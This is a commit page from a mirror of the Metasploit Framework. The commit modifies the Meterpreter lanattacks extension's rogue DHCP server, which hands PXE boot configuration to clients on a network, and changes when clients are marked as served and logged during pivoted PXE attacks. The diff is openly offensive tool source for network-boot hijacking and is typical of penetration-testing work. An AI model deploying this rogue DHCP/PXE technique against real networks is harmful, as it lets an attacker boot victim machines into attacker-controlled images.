github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00
Code Releases Activity

And do the same for pivoted PXE attacks.

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@13780 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Weeks 2011-09-23 16:16:47 +00:00
parent de9e99bd3d
commit ab4026cfb5
3 changed files with 10 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/meterpreter/ext_server_lanattacks.dll
View File

Binary file not shown.

BIN
data/meterpreter/ext_server_lanattacks.x64.dll
View File

Binary file not shown.

15
external/source/meterpreter/source/extensions/lanattacks/dhcpserv.cpp vendored
View File

@ -351,8 +351,6 @@ int DHCPserv::run(){
}else if (messageType == DHCPRequest){ //DHCP Request - send DHCP ACK
pkt << DHCPAck;
// now we ignore their discovers (but we'll respond to requests in case a packet was lost)
served.insert(clienthwaddr);
if ( servedOver != 0 ) // NOTE: this is sufficient for low-traffic net
servedOver += 1;
@ -370,12 +368,14 @@ int DHCPserv::run(){
pkt << dhcpoption(OpPXEMagic, pxemagic);
// check if already served based on hw addr (MAC address)
if (serveOnce == true && served.count(clienthwaddr) > 0){
if (serveOnce == true && served.count(clienthwaddr) > 0 || served.size() > 0){
pkt << dhcpoption(OpPXEConfigFile, pxeAltConfigFile); //Already served; allowing normal boot
}else{
pkt << dhcpoption(OpPXEConfigFile, pxeConfigFile);
log.append(clienthwaddr);
log.append(iton(currentIp));
if (messageType == DHCPRequest){
log.append(clienthwaddr);
log.append(iton(currentIp));
}
}
pkt << dhcpoption(OpPXEPathPrefix, pxePathPrefix);
pkt << dhcpoption(OpPXERebootTime, iton(pxeRebootTime));
@ -390,6 +390,11 @@ int DHCPserv::run(){
pkt << dhcpoption(OpEnd);
string sendPacket = pkt.str();
// now mark as served. We will then ignore their discovers
//(but we'll respond to requests in case a packet was lost)
if (messageType == DHCPRequest)
served.insert(clienthwaddr);
//Send response
unsigned int sent = sendto(smellySock, sendPacket.c_str(), sendPacket.length(), 0, (struct sockaddr*)&broadcastAddr, sizeof(broadcastAddr));
if (sent != sendPacket.length())